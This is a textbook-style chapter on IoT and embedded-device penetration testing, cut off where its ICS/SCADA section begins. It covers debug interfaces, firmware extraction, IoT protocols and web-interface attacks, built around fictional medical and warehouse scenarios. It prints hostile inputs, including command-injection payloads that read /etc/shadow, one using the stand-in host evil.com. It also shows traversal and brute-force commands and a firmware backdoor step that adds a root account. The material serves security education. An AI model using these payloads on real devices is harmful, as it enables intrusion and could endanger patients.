Chapter 31: IoT and Embedded Systems Hacking

"Every device connected to the Internet is a computer that can be hacked. The question is not whether it has vulnerabilities — it is whether anyone is looking for them." — Bruce Schneier

The Internet of Things (IoT) has fundamentally expanded the attack surface of modern computing. An estimated 15 billion IoT devices were connected in 2023, with projections reaching 30 billion by 2030. These devices — from smart thermostats and security cameras to medical monitors and industrial controllers — are embedded in every aspect of our physical environment. They monitor our health, control our homes, manage industrial processes, and increasingly make autonomous decisions that affect physical safety.

From a security perspective, IoT devices present a unique and challenging target. Unlike traditional computers, IoT devices often run stripped-down operating systems with minimal security features, use proprietary or obscure communication protocols, have limited computational resources that preclude standard security controls, are rarely updated after deployment, and operate at the boundary between digital systems and the physical world. When an IoT device is compromised, the consequences can extend beyond data theft to include physical harm — a hacked medical device, compromised vehicle system, or manipulated industrial controller can endanger human life.

The Mirai botnet demonstrated the catastrophic potential of IoT insecurity in 2016, when compromised consumer devices — primarily security cameras and DVRs with default credentials — launched a distributed denial-of-service attack that took down major internet infrastructure. Charlie Miller and Chris Valasek proved that remotely hacking a Jeep Cherokee could disable its brakes and steering. These are not hypothetical risks — they are documented realities.

This chapter provides a comprehensive guide to IoT and embedded systems security testing. We will examine IoT architecture and attack surfaces, explore hardware hacking through debug interfaces, learn firmware extraction and analysis, investigate IoT-specific network protocols, assess embedded web interfaces, and touch on the critical domain of Industrial Control Systems (ICS) and SCADA security. Throughout, we will apply these techniques to MedSecure's IoT medical devices — devices where security failures can directly impact patient safety.

Caution — Safety First in IoT Testing

IoT and embedded systems testing involves physical hardware, electrical connections, and devices that may control real-world systems. Safety considerations are paramount: - Never test medical devices, automotive systems, or industrial controllers in production environments - Always use isolated test networks for IoT device testing - Be aware that hardware manipulation can permanently damage devices (and void warranties) - Some IoT testing involves radio frequency transmission — ensure compliance with local regulations (FCC in the US, CE in Europe) - Obtain explicit written authorization that specifically covers hardware testing, firmware extraction, and protocol analysis

31.1 IoT Architecture and Attack Surface

Understanding the architecture of IoT systems is essential for identifying where vulnerabilities may exist. IoT deployments are not single devices — they are ecosystems of interconnected components, each with its own attack surface.

31.1.1 The IoT Ecosystem

A typical IoT deployment consists of five layers:

Device Layer. The physical IoT device itself — a sensor, actuator, camera, or controller. This layer includes the hardware (processor, memory, storage, sensors, radio modules), the firmware (operating system and application code), and the physical interfaces (USB, serial ports, debug headers, expansion connectors).

Communication Layer. The protocols and networks through which devices communicate. This includes local protocols (Bluetooth Low Energy, Zigbee, Z-Wave, Thread), network protocols (WiFi, Ethernet, cellular), and application-level protocols (MQTT, CoAP, HTTP, AMQP, WebSocket).

Gateway/Edge Layer. Intermediate devices that aggregate data from multiple IoT devices and relay it to cloud services. Gateways often perform protocol translation (e.g., Zigbee to MQTT), local processing, and provide management interfaces.

Cloud/Platform Layer. The backend infrastructure that stores, processes, and analyzes IoT data. This includes cloud IoT platforms (AWS IoT Core, Azure IoT Hub, Google Cloud IoT), databases, analytics engines, and API servers.

Application Layer. The user-facing interfaces — mobile apps, web dashboards, and management consoles that allow users to monitor and control IoT devices.

31.1.2 IoT Attack Surface Mapping

Each layer presents distinct attack vectors:

Hardware Attacks: - Physical access to debug ports (UART, JTAG, SWD) - Bus snooping and manipulation (SPI, I2C) - Side-channel attacks (power analysis, electromagnetic emanations) - Chip-off attacks (removing flash memory for direct reading) - Glitching attacks (voltage or clock manipulation to bypass security)

Firmware Attacks: - Firmware extraction and reverse engineering - Hardcoded credentials and encryption keys - Command injection in firmware update mechanisms - Unencrypted or unsigned firmware updates - Backdoor accounts and debug interfaces

Communication Attacks: - Unencrypted protocol traffic (plaintext MQTT, HTTP) - Replay attacks on device commands - Man-in-the-middle on wireless protocols - Protocol fuzzing for crash/exploit discovery - Radio frequency jamming and injection

Cloud/API Attacks: - Insecure API authentication - Device impersonation - Unauthorized access to device data - Command injection through device management APIs

Application Attacks: - Mobile app vulnerabilities (as covered in Chapter 30) - Web dashboard vulnerabilities (as covered in Chapter 15) - Insecure device pairing and provisioning

MedSecure Scenario — IoT Medical Devices

MedSecure deploys IoT medical devices including patient vital signs monitors, medication dispensers, and wearable health trackers. These devices communicate via BLE to the MedSecure mobile app and via WiFi/MQTT to AWS IoT Core. Each device runs a custom Linux-based firmware on an ARM Cortex-M processor, has a web-based management interface accessible on the local network, and stores patient health data locally in flash memory. The security testing scope includes the hardware interfaces, firmware, BLE communication, MQTT messaging, the management web interface, and the cloud API integration.

31.2 Hardware Hacking

Hardware hacking is the process of physically interacting with IoT devices to extract data, gain access, or modify behavior. While it requires some specialized tools, the barrier to entry is lower than many people assume. A complete IoT hardware assessment begins with careful visual inspection of the printed circuit board (PCB), identifying major components, debug connectors, test points, and labels that indicate interfaces. Photographing the PCB from multiple angles and noting component markings (chip part numbers, board revisions) provides a foundation for the entire hardware analysis. Online resources like datasheets from component manufacturers reveal pin configurations and communication protocols for identified chips.

31.2.1 Essential Hardware Hacking Tools

A basic IoT hardware hacking toolkit includes:

• Bus Pirate — A multi-protocol debugging tool that supports UART, SPI, I2C, and other serial protocols ($30-40)
• UART-to-USB adapter (FTDI FT232R or CP2102) — For serial console access ($5-15)
• Logic analyzer (Saleae Logic or DSLogic) — For capturing and analyzing digital signals ($100-400)
• Multimeter — For measuring voltages and identifying pins ($20-50)
• Soldering iron and accessories — For attaching wires to test points ($30-100)
• JTAGulator — Automatically identifies JTAG pinouts ($170)
• Flashrom-compatible SPI programmer (CH341A) — For reading/writing flash chips ($5-10)
• Software-Defined Radio (RTL-SDR or HackRF One) — For wireless protocol analysis ($25-300)

31.2.2 UART (Universal Asynchronous Receiver/Transmitter)

UART is a serial communication interface commonly used for debug consoles on embedded devices. Finding and accessing a UART port often provides a root shell on the device.

Identifying UART Pins. UART typically uses four connections: TX (transmit), RX (receive), GND (ground), and sometimes VCC (power). On a circuit board, look for: - Groups of 3-4 unpopulated header pins or test pads - Pins labeled TX, RX, GND, or with similar abbreviations - Headers near the main processor or debug area of the board

# Step 1: Identify UART pins using a multimeter
# - GND: Connect one probe to known ground (USB shield, battery negative)
#   and test each pin. GND will show 0V and continuity.
# - VCC: Usually reads 3.3V or 5V steady
# - TX: Fluctuates when the device boots (data being transmitted)
# - RX: Often reads high (3.3V or 5V) with no fluctuation

# Step 2: Connect UART adapter
# Device TX -> Adapter RX
# Device RX -> Adapter TX
# Device GND -> Adapter GND
# DO NOT connect VCC unless needed (device usually has its own power)

# Step 3: Determine baud rate and connect
# Common baud rates: 9600, 19200, 38400, 57600, 115200
# Use a tool to auto-detect:
python3 baudrate.py  # baudrate detection tool

# Step 4: Connect with screen, minicom, or putty
screen /dev/ttyUSB0 115200
# Or
minicom -D /dev/ttyUSB0 -b 115200

What UART Access Provides: - Boot log messages (revealing OS version, partition layout, boot arguments) - Login prompt (try default credentials: root/root, admin/admin, root/[blank]) - U-Boot bootloader access (press a key during boot to interrupt) - Kernel command line modification (add init=/bin/sh for rootless shell) - Direct filesystem access for credential extraction

31.2.3 JTAG (Joint Test Action Group) and SWD

JTAG is a debug interface originally designed for testing integrated circuits. It provides deep access to the processor, allowing: - Reading and writing memory - Setting breakpoints and stepping through code - Reading and writing flash storage - Dumping firmware - Bypassing software security controls

SWD (Serial Wire Debug) is a two-wire alternative to JTAG used on ARM Cortex-M processors. It provides similar capabilities with fewer pins (SWDIO and SWCLK plus GND).

# Using JTAGulator to identify JTAG pinout
# Connect the JTAGulator to all candidate pins
# JTAGulator will try all permutations to identify TDI, TDO, TMS, TCK, TRST

# Once pinout is identified, connect with OpenOCD
# Create an OpenOCD configuration file
cat > target.cfg << 'EOF'
source [find interface/jlink.cfg]
transport select jtag
source [find target/stm32f4x.cfg]
EOF

# Connect to the target
openocd -f target.cfg

# In another terminal, connect via GDB
arm-none-eabi-gdb
(gdb) target remote localhost:3333
(gdb) monitor halt
(gdb) monitor flash banks
(gdb) monitor flash read_bank 0 firmware.bin 0 0x100000

31.2.4 SPI (Serial Peripheral Interface) and I2C

SPI and I2C are bus protocols used to communicate between chips on the circuit board. Flash memory chips storing firmware often use SPI.

SPI Flash Reading:

# Identify the flash chip (read markings on the chip)
# Common chips: Winbond W25Q128, Macronix MX25L, Spansion S25FL

# Method 1: In-circuit reading with Bus Pirate or CH341A
# Connect SPI pins: CS, CLK, MISO, MOSI, GND (and VCC if using programmer power)

flashrom -p ch341a_spi -r firmware_dump.bin

# Method 2: Chip-off (desolder the chip for isolated reading)
# Use a hot-air rework station to remove the chip
# Place in a SOIC clip or socket on the programmer
flashrom -p ch341a_spi -c "W25Q128.V" -r firmware_dump.bin

# Verify the dump by reading twice and comparing
flashrom -p ch341a_spi -r firmware_dump_2.bin
md5sum firmware_dump.bin firmware_dump_2.bin

I2C EEPROM Reading:

# Using Bus Pirate for I2C EEPROM
# Connect: SDA, SCL, GND

# Scan for I2C devices
i2cdetect -y 0

# Read EEPROM contents
i2cdump -y 0 0x50  # 0x50 is common EEPROM address

Blue Team Perspective — Hardware Security Controls

Device manufacturers should implement: disabled or removed UART/JTAG interfaces in production, read-protection fuses on microcontrollers (e.g., STM32 RDP Level 2), secure boot chains with cryptographic verification, encrypted firmware storage, tamper-evident enclosures, and silicon-based security (TPM, secure elements). During security assessments, verify that these controls are actually implemented and effective — many manufacturers document security features that are not properly enabled.

31.3 Firmware Extraction and Analysis

Firmware is the software that runs on IoT devices. Extracting and analyzing firmware reveals hardcoded credentials, encryption keys, vulnerable code, and hidden functionality.

31.3.1 Firmware Acquisition

Firmware can be obtained through several methods:

Manufacturer Sources: - Official firmware update files from the vendor's website - Update servers identified through network traffic analysis - Mobile app bundles that include firmware files

Hardware Extraction: - UART/JTAG dump (as described above) - SPI flash reading - eMMC reading (for devices using eMMC storage) - Chip-off attacks for BGA packages

Network Capture: - Intercepting firmware update traffic (often unencrypted HTTP) - MITM on the update process to capture the firmware image

31.3.2 Firmware Analysis with Binwalk

Binwalk is the primary tool for firmware analysis. It identifies file signatures, extracts file systems, and analyzes binary structures:

# Basic firmware scan - identify components
binwalk firmware_dump.bin

# Example output:
# DECIMAL       HEXADECIMAL     DESCRIPTION
# 0             0x0             uImage header, image size: 1024000
# 64            0x40            LZMA compressed data
# 1048640       0x100040        Squashfs filesystem, little endian

# Extract all identified components
binwalk -e firmware_dump.bin

# Recursive extraction (extract nested archives)
binwalk -Me firmware_dump.bin

# Extract with specific signature types
binwalk -D 'elf:elf' firmware_dump.bin

# Entropy analysis (identify encrypted/compressed sections)
binwalk -E firmware_dump.bin
# High entropy = encrypted or compressed
# Low entropy = plaintext or code

31.3.3 Filesystem Analysis

Once extracted, analyze the filesystem for security issues:

# Navigate to the extracted filesystem
cd _firmware_dump.bin.extracted/squashfs-root/

# Search for credentials
grep -rn "password\|passwd\|secret\|key\|token" etc/
cat etc/shadow  # Check for password hashes
cat etc/passwd  # Check for users

# Search for hardcoded keys and certificates
find . -name "*.pem" -o -name "*.key" -o -name "*.crt" -o -name "*.cert"
find . -name "*.conf" -o -name "*.cfg" -o -name "*.ini" -exec grep -l "password\|key\|secret" {} \;

# Analyze web server configuration
cat etc/lighttpd/lighttpd.conf
cat etc/nginx/nginx.conf
find . -name "*.php" -o -name "*.cgi" -o -name "*.lua" | head -20

# Check for SSH keys
find . -name "id_rsa" -o -name "id_dsa" -o -name "authorized_keys"
find . -name "dropbear*" -o -name "ssh_host_*"

# Analyze startup scripts
cat etc/init.d/*
cat etc/rc.local
cat etc/inittab

# Check for backdoor accounts or services
cat etc/inetd.conf
find . -name "telnetd" -o -name "backdoor"

# Analyze custom binaries
file usr/bin/*  # Identify binary types
strings usr/bin/custom_app | grep -i "http\|password\|key\|debug"

# Check for firmware update mechanisms
find . -name "*.sh" -exec grep -l "wget\|curl\|update\|upgrade\|ftp" {} \;

31.3.4 Binary Analysis

Custom binaries found in firmware require deeper analysis:

# Identify the architecture
file usr/bin/device_controller
# Output: ELF 32-bit LSB executable, ARM, EABI5, dynamically linked

# Disassemble with Ghidra (open source)
ghidra  # Import the binary and analyze

# Or use radare2 for command-line analysis
r2 -A usr/bin/device_controller
# Search for strings
[0x00010000]> iz~password
[0x00010000]> iz~http
# Find functions
[0x00010000]> afl
# Disassemble a function
[0x00010000]> pdf @main

# Check for buffer overflow vulnerabilities
checksec --file usr/bin/device_controller
# Look for: No RELRO, No canary, NX disabled, No PIE

31.3.5 Emulating Firmware

Running extracted firmware in an emulator allows dynamic analysis without the physical device:

# Using QEMU for ARM firmware emulation
# For a Linux-based firmware:
sudo apt install qemu-user-static

# Copy qemu static binary into the firmware's root
cp $(which qemu-arm-static) squashfs-root/usr/bin/

# Chroot into the firmware filesystem
sudo chroot squashfs-root /usr/bin/qemu-arm-static /bin/sh

# For full system emulation, use firmadyne or FAT (Firmware Analysis Toolkit)
git clone https://github.com/attify/firmware-analysis-toolkit
cd firmware-analysis-toolkit
./fat.py firmware_dump.bin
# FAT will attempt to identify the architecture, extract the filesystem,
# set up networking, and boot the firmware in QEMU

MedSecure Scenario — Firmware Analysis Findings

During the MedSecure assessment, the team extracted firmware from a vital signs monitor using the SPI flash interface. Binwalk revealed a SquashFS filesystem containing a BusyBox-based Linux distribution. Analysis uncovered: a hardcoded service account (service:M3dS3cure!) in /etc/shadow, an unencrypted SQLite database containing patient vital signs in /data/vitals.db, the MQTT broker credentials in plaintext in /etc/mqtt.conf, a custom CGI script (/www/cgi-bin/admin.cgi) vulnerable to command injection, and the device's private TLS key stored unprotected in /etc/ssl/. These findings were all rated Critical given the healthcare context.

31.4 IoT Network Protocol Testing

IoT devices use a variety of network protocols, many of which were designed for constrained environments and may not include robust security features.

31.4.1 MQTT (Message Queuing Telemetry Transport)

MQTT is the most widely used IoT messaging protocol. It follows a publish/subscribe model with a central broker:

Architecture: - Broker: Central server that receives all messages and routes them to subscribers - Publishers: Devices that send messages to topics - Subscribers: Devices or services that receive messages from topics they subscribe to - Topics: Hierarchical message channels (e.g., medsecure/device/vitals/heartrate)

Security Testing:

# Scan for MQTT brokers
nmap -sV -p 1883,8883 target-network/24
# Port 1883: MQTT (unencrypted)
# Port 8883: MQTTS (TLS encrypted)

# Connect to MQTT broker (unauthenticated)
mosquitto_sub -h broker-ip -t '#' -v
# '#' subscribes to ALL topics - if this works without auth, it's a finding

# Try common default credentials
mosquitto_sub -h broker-ip -t '#' -u admin -P admin -v
mosquitto_sub -h broker-ip -t '#' -u mqtt -P mqtt -v

# Subscribe to specific topic patterns
mosquitto_sub -h broker-ip -t 'medsecure/+/vitals/#' -v  # Wildcards

# Publish a test message (be very careful in production!)
mosquitto_pub -h broker-ip -t 'medsecure/device001/command' -m '{"action":"test"}'

# Check for message persistence
mosquitto_sub -h broker-ip -t '#' -v --retained-only

# MQTT over WebSocket
mosquitto_sub -h broker-ip -p 9001 -t '#' --ws -v

Common MQTT Vulnerabilities: - No authentication required (anonymous access) - Weak or default credentials - No TLS encryption (port 1883) - Overly broad topic ACLs (all devices can subscribe to all topics) - Sensitive data in topics (patient vitals, device credentials) - No message validation (injection of malicious commands)

31.4.2 CoAP (Constrained Application Protocol)

CoAP is a lightweight protocol designed for constrained IoT devices, similar to HTTP but using UDP:

# Discover CoAP resources
coap-client -m get coap://device-ip/.well-known/core

# Read a resource
coap-client -m get coap://device-ip/sensor/temperature

# Observe a resource (subscribe to changes)
coap-client -m get -s 60 coap://device-ip/sensor/temperature -B 60

# Check for unauthenticated write access
coap-client -m put coap://device-ip/actuator/valve -e '{"state":"open"}'

31.4.3 Zigbee

Zigbee is a low-power mesh networking protocol used in home automation and industrial IoT. Security testing requires specialized hardware:

# Using KillerBee framework with compatible hardware
# (Atmel RZ Raven, ApiMote, or similar)

# Scan for Zigbee networks
zbstumbler

# Capture Zigbee traffic
zbdump -f 15 -w zigbee_capture.pcap  # Channel 15

# Analyze captured traffic (look for unencrypted frames)
wireshark zigbee_capture.pcap

# If the network uses the well-known default trust center key
# (ZigBeeAlliance09), traffic can be decrypted
# Many Zigbee HA (Home Automation) devices use this default key

# Key sniffing during device pairing
zbdump -f 15 -w pairing_capture.pcap
# During pairing, the network key may be transmitted in the clear

31.4.4 Bluetooth Low Energy (BLE)

BLE is widely used for IoT device communication, especially in healthcare and consumer devices:

# Scan for BLE devices
sudo hcitool lescan
# Or use the more modern btmgmt tool
sudo btmgmt find

# Detailed device information
gatttool -b AA:BB:CC:DD:EE:FF -I
[AA:BB:CC:DD:EE:FF][LE]> connect
[AA:BB:CC:DD:EE:FF][LE]> primary  # List primary services
[AA:BB:CC:DD:EE:FF][LE]> characteristics  # List characteristics
[AA:BB:CC:DD:EE:FF][LE]> char-read-hnd 0x000e  # Read a characteristic

# Using Bettercap for BLE enumeration
sudo bettercap
> ble.recon on
> ble.enum AA:BB:CC:DD:EE:FF

# BLE traffic capture with Ubertooth
ubertooth-btle -f -t AA:BB:CC:DD:EE:FF -c capture.pcap

# Analyze with nRF Connect app (Android) for interactive testing

Common BLE Vulnerabilities: - No pairing required (open access to characteristics) - Just Works pairing (no PIN/passkey — vulnerable to MITM) - Unencrypted communication (data readable by nearby attackers) - Static MAC addresses (device tracking) - Writable characteristics without authentication (command injection) - Sensitive data exposed in characteristics (patient data, device configuration)

BLE GATT Security Assessment. A thorough BLE assessment examines every GATT (Generic Attribute Profile) service and characteristic. Each characteristic has properties (read, write, notify, indicate) and permissions (encryption required, authentication required, authorization required). Testing should enumerate all characteristics, attempt to read and write each one without pairing, pair using Just Works and test again, then pair using the intended pairing method and verify that permissions are properly enforced.

# Comprehensive BLE GATT enumeration with gatttool
# Step 1: Connect and discover services
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary
# Output shows services with their UUID ranges

# Step 2: Enumerate characteristics for each service
> characteristics
# Output shows each characteristic's handle, properties, and UUID

# Step 3: Read all readable characteristics
> char-read-hnd 0x0003
> char-read-hnd 0x0005
> char-read-hnd 0x0007
# Continue for all characteristics

# Step 4: Attempt writes to writable characteristics
> char-write-req 0x000e 4142434445  # Write "ABCDE" in hex
# If this succeeds without authentication, it is a security finding

# Step 5: Subscribe to notifications
> char-write-req 0x000f 0100  # Enable notifications
# Monitor for data sent by the device

BLE Replay Attacks. Capture BLE communication during normal device operation using an Ubertooth or a dedicated BLE sniffer. Replay captured commands later to test whether the device accepts replayed messages. For MedSecure's vital signs monitor, a replay attack on the device configuration characteristic could potentially alter alarm thresholds or disable monitoring — a patient safety risk.

BLE MITM Testing. Using tools like GATTacker or BtleJuice, create a proxy between the legitimate device and the mobile app. This allows interception and modification of BLE traffic in real time, testing whether the application detects the interception and whether sensitive data is encrypted at the application layer above BLE's link-layer encryption.

MedSecure Scenario — BLE Assessment Findings

The MedSecure vital signs monitor BLE assessment revealed multiple issues. The device used Just Works pairing, allowing any BLE client within range to connect without authentication. Patient heart rate and SpO2 data were transmitted in plaintext over notification characteristics. The device configuration characteristic (alarm thresholds, monitoring intervals) was writable without authentication — an attacker could silently raise the heart rate alarm threshold, preventing nurses from receiving critical alerts. The team recommended migrating to LE Secure Connections with Passkey Entry pairing, encrypting patient data at the application layer, and requiring authenticated writes for all configuration characteristics.

Blue Team Perspective — IoT Protocol Security

Defenders should implement: MQTT authentication with unique per-device credentials, TLS encryption for all MQTT connections (port 8883), fine-grained MQTT topic ACLs (devices can only publish/subscribe to their own topics), BLE pairing with Numeric Comparison or Passkey Entry (not Just Works), BLE characteristic permissions requiring authentication for sensitive data, encrypted BLE communication using LE Secure Connections, and network segmentation isolating IoT devices from corporate networks.

31.5 Embedded Web Interface Vulnerabilities

Most IoT devices include web-based management interfaces. These are often built with limited security expertise and contain vulnerabilities that would be considered basic in modern web development.

31.5.1 Common Embedded Web Vulnerabilities

Default and Hardcoded Credentials. The most prevalent IoT vulnerability. Many devices ship with default credentials that users never change, or contain hardcoded service accounts that cannot be changed:

# Test default credentials
# Common combinations for IoT devices:
# admin:admin, admin:password, admin:1234, root:root
# admin:[blank], root:[blank], user:user
# Check the manufacturer's documentation and default credential databases
# like https://cirt.net/passwords and https://default-password.info/

hydra -L users.txt -P passwords.txt target-ip http-get /
hydra -L users.txt -P passwords.txt target-ip http-post-form \
  "/login:user=^USER^&pass=^PASS^:Invalid credentials"

Command Injection. CGI scripts and custom web handlers on embedded devices frequently pass user input directly to shell commands:

# Common injection points in IoT web interfaces:
# - Network configuration (ping, traceroute, DNS settings)
# - Firmware update URLs
# - Log viewer (filename parameters)
# - Diagnostic tools

# Test for command injection
# In ping diagnostic:
;cat /etc/shadow
|cat /etc/shadow
`cat /etc/shadow`
$(cat /etc/shadow)
127.0.0.1%0acat%20/etc/shadow

# In firmware update URL field:
http://evil.com/firmware.bin;cat /etc/passwd

Directory Traversal. Embedded web servers often lack proper path sanitization:

# Test for directory traversal
curl http://device-ip/cgi-bin/view?file=../../../etc/passwd
curl http://device-ip/cgi-bin/view?file=....//....//....//etc/shadow
curl http://device-ip/web/../../etc/shadow

Authentication Bypass. Weak authentication implementations:

# Direct access to restricted pages (no session validation)
curl http://device-ip/admin/settings.html
curl http://device-ip/goform/SetNetworkSettings

# Cookie manipulation
# Many devices use predictable session tokens or check only for
# the presence of a cookie, not its validity

# HTTP method bypass
curl -X PUT http://device-ip/api/settings -d '{"admin":"true"}'

Firmware Update Vulnerabilities:

# Check if firmware updates are downloaded over HTTP (no TLS)
# Check if firmware is signed/verified before installation
# Can we upload a modified firmware image?
curl -X POST http://device-ip/cgi-bin/upload_firmware \
  -F "firmware=@modified_firmware.bin"

31.5.2 Embedded Web Server Analysis

Common embedded web servers include lighttpd, uhttpd (OpenWrt), mini_httpd, Boa, GoAhead, and custom implementations. Each has its own history of vulnerabilities:

# Identify the web server
curl -I http://device-ip/
# Server: lighttpd/1.4.35
# Server: GoAhead-Webs
# Server: Boa/0.94.14rc21

# Search for known CVEs for the identified server version
searchsploit lighttpd 1.4.35
searchsploit goahead

# Directory and file enumeration
gobuster dir -u http://device-ip/ -w /usr/share/wordlists/dirb/common.txt -x cgi,php,lua,asp

31.5.3 Authentication Bypass Techniques

Embedded web interfaces frequently implement authentication in ways that are easily bypassed:

Direct URL Access. Many IoT devices implement authentication only on the login page, not on individual functionality pages. Directly navigating to /admin/config.html, /cgi-bin/admin.cgi, or /system/settings may bypass authentication entirely.

# Test for authentication bypass via direct URL access
# Use a wordlist of common IoT admin paths
for path in admin config system setup maintenance debug diag; do
  response=$(curl -s -o /dev/null -w "%{http_code}" http://device-ip/$path)
  echo "$path: HTTP $response"
done

# Test for alternative authentication endpoints
curl http://device-ip/cgi-bin/luci  # OpenWrt
curl http://device-ip/goform/login  # GoAhead devices
curl http://device-ip/userRpm/LoginRpm.htm  # TP-Link style

# Test for path traversal past authentication
curl http://device-ip/..%2f..%2fadmin/config
curl http://device-ip/login/../admin/config

Cookie Manipulation. Some devices use a simple client-side cookie like auth=1 or loggedIn=true as their only authentication check. Setting this cookie manually bypasses authentication.

Hardcoded API Tokens. Embedded devices sometimes include undocumented API endpoints that accept hardcoded tokens for factory testing or remote support. These tokens are often discoverable in firmware analysis.

HTTP Method Override. Some embedded web servers implement access controls only for GET requests, allowing POST, PUT, or other HTTP methods to bypass restrictions.

ShopStack Scenario — IoT Device Assessment

The ShopStack warehouse used internet-connected environmental sensors (temperature, humidity) to monitor storage conditions for perishable goods. The penetration testing team discovered that these sensors had web interfaces accessible on the corporate network without any authentication. The sensors ran GoAhead-Webs with a known command injection vulnerability (CVE-2017-17562). Through this vulnerability, the team established a shell on the sensor, which provided a network foothold on the warehouse VLAN — a segment not reachable from the corporate network through normal means. From this position, they accessed the warehouse management system and inventory databases. The finding demonstrated how IoT devices can serve as pivots for broader network compromise.

31.6 Advanced Firmware Analysis Techniques

Beyond basic binwalk extraction and string searching, advanced firmware analysis techniques reveal deeper vulnerabilities.

31.6.1 Firmware Diffing

Comparing firmware versions reveals what changed between updates — including security patches that highlight where vulnerabilities existed:

# Compare two firmware versions
binwalk -W firmware_v1.bin firmware_v2.bin  # Hexdump comparison

# Extract both and diff the filesystems
binwalk -Me firmware_v1.bin -d v1_extracted/
binwalk -Me firmware_v2.bin -d v2_extracted/

diff -rq v1_extracted/squashfs-root/ v2_extracted/squashfs-root/

# For binary diffing of specific executables, use BinDiff or Diaphora
# These tools compare functions and identify patches at the binary level

Firmware diffing is particularly valuable when a vendor releases a "security update" without detailed change notes. By comparing the patched firmware with the previous version, you can identify exactly which vulnerabilities were fixed — and then test older devices that have not been updated to confirm they are still vulnerable.

31.6.2 Firmware Modification and Backdooring

Understanding how firmware can be modified is important for both offensive testing (demonstrating impact) and defensive assessment (verifying firmware integrity controls):

# Mount the extracted filesystem (read-write)
sudo mount -o loop,rw squashfs_image.img /mnt/firmware/

# Or, for SquashFS (read-only by nature), modify and rebuild:
# 1. Make changes to the extracted filesystem
echo "attacker:x:0:0::/root:/bin/sh" >> squashfs-root/etc/passwd

# 2. Rebuild the SquashFS image
mksquashfs squashfs-root/ new_squashfs.img -comp xz

# 3. Rebuild the full firmware image
# This requires understanding the firmware layout from binwalk analysis
# Replace the SquashFS section in the original firmware binary
dd if=new_squashfs.img of=firmware_modified.bin bs=1 seek=$SQUASHFS_OFFSET conv=notrunc

# 4. Update checksums/CRCs if required
# Many firmware images include integrity checks that must be recalculated

Important Ethical Note: Firmware modification should only be performed on test devices you own. Never deploy modified firmware to production devices. The purpose is to demonstrate to the client that unsigned firmware can be modified and installed — the modification itself is the proof-of-concept, not a persistent attack.

31.6.3 Symbolic Execution and Fuzzing

Advanced vulnerability discovery in IoT firmware uses automated techniques:

# Using AFL (American Fuzzy Lop) to fuzz IoT binary network parsers
# First, compile the target binary with instrumentation
afl-gcc -o target_instrumented target.c

# Or for cross-architecture fuzzing, use QEMU mode
afl-fuzz -Q -i input_corpus/ -o findings/ -- ./target_binary @@

# Using Firmadyne for automated firmware emulation and analysis
python3 fat.py firmware.bin
# Firmadyne will:
# 1. Identify the architecture (ARM, MIPS, etc.)
# 2. Extract the filesystem
# 3. Set up QEMU emulation with networking
# 4. Boot the firmware
# 5. Run automated vulnerability scans against the emulated device

Fuzzing embedded web servers, MQTT message handlers, and protocol parsers is highly effective because these components are often custom-written with minimal input validation. A fuzzer can discover buffer overflows, format string vulnerabilities, null pointer dereferences, and logic errors that manual review might miss.

31.6.4 Supply Chain Analysis

IoT firmware frequently incorporates third-party components, open-source libraries, and SDK code from chip manufacturers. Analyzing the software supply chain reveals known vulnerabilities:

# Identify open-source components and their versions
# Look for version strings in binaries
strings squashfs-root/usr/bin/* | grep -i "version\|copyright\|openssl\|busybox\|lighttpd"

# Check BusyBox version (very common in IoT)
./squashfs-root/bin/busybox --help 2>&1 | head -1
# "BusyBox v1.24.1" -> check for CVEs in this version

# Check OpenSSL version
strings squashfs-root/usr/lib/libssl.so | grep "OpenSSL"
# "OpenSSL 1.0.1e" -> multiple critical CVEs (Heartbleed, etc.)

# Use CVE search tools to identify known vulnerabilities
# OWASP Dependency-Check, retire.js (for JavaScript), or manual NVD search

# Check for known vulnerable libraries
find squashfs-root/ -name "*.so" -exec strings {} \; | grep -i "version" | sort -u

Common supply chain findings in IoT firmware include outdated versions of OpenSSL (sometimes years behind), BusyBox versions with known vulnerabilities, web servers (lighttpd, Boa) with unpatched security issues, custom SDK code from chip manufacturers with known weaknesses, and GPL license violations that indicate poor software management practices.

31.7 Radio Frequency and Wireless Protocol Analysis

Many IoT devices communicate using radio frequency (RF) protocols beyond WiFi and Bluetooth. Understanding these protocols is essential for comprehensive IoT security testing.

31.7.1 Software-Defined Radio (SDR) Fundamentals

SDR tools allow capturing, analyzing, and transmitting radio signals across a wide frequency range:

# RTL-SDR: Receive-only, 24-1766 MHz, ~$25
# HackRF One: Transmit and receive, 1 MHz - 6 GHz, ~$300
# YARD Stick One: Sub-1 GHz transceiver, ~$100

# Scan for RF signals with rtl_power (spectrum analyzer)
rtl_power -f 300M:500M:1M -g 40 -i 10 -e 1h scan_results.csv

# Capture raw IQ data
rtl_sdr -f 433920000 -s 2048000 -g 40 capture.iq

# Analyze captured signals with Universal Radio Hacker (URH)
urh  # GUI tool for signal analysis and protocol reverse engineering

# Decode common IoT protocols with rtl_433
rtl_433 -f 433920000 -R all
# rtl_433 can decode hundreds of common IoT protocols:
# - Weather stations
# - Temperature/humidity sensors
# - Door/window sensors
# - Tire pressure monitors
# - Garage door openers

31.7.2 Z-Wave Security

Z-Wave is a proprietary mesh networking protocol commonly used in home automation:

# Z-Wave operates at 908.42 MHz (US) or 868.42 MHz (EU)
# Z-Wave S2 (Security 2) provides strong encryption
# Older Z-Wave S0 uses a known-insecure key exchange

# Security concerns:
# - S0 key exchange transmits the network key using a known key (all zeros)
# - S0-to-S2 downgrade attacks during inclusion
# - Signal jamming preventing alarm signals
# - Frame manipulation during key exchange

31.7.3 LoRa and LoRaWAN Security

LoRa (Long Range) is used for IoT devices requiring long-range, low-power communication:

# LoRa operates at 868 MHz (EU) / 915 MHz (US)
# LoRaWAN adds network layer with encryption

# Security considerations:
# - ABP (Activation By Personalization) uses static session keys
# - OTAA (Over-The-Air Activation) provides better key management
# - Frame counter resets can enable replay attacks
# - AppKey compromise enables device impersonation
# - Join-Accept messages can be replayed

# Tools: ChirpStack (network server), LoRa SDR receivers

Blue Team Perspective — RF Security Monitoring

Organizations deploying IoT devices using RF protocols should consider RF spectrum monitoring to detect unauthorized devices, jamming attacks, and rogue transmitters. Products like Bastille Networks provide continuous RF monitoring for enterprise environments. For healthcare environments like MedSecure, RF monitoring is particularly important because medical devices using wireless protocols must not be subject to interference or manipulation.

31.8 ICS/SCADA Security

Industrial Control Systems (ICS) and Supervisory Control and Data Acquisition (SCADA) systems are specialized IoT deployments that control physical processes in critical infrastructure — power grids, water treatment, manufacturing, oil and gas, and transportation.

31.8.1 ICS/SCADA Architecture

ICS environments consist of:

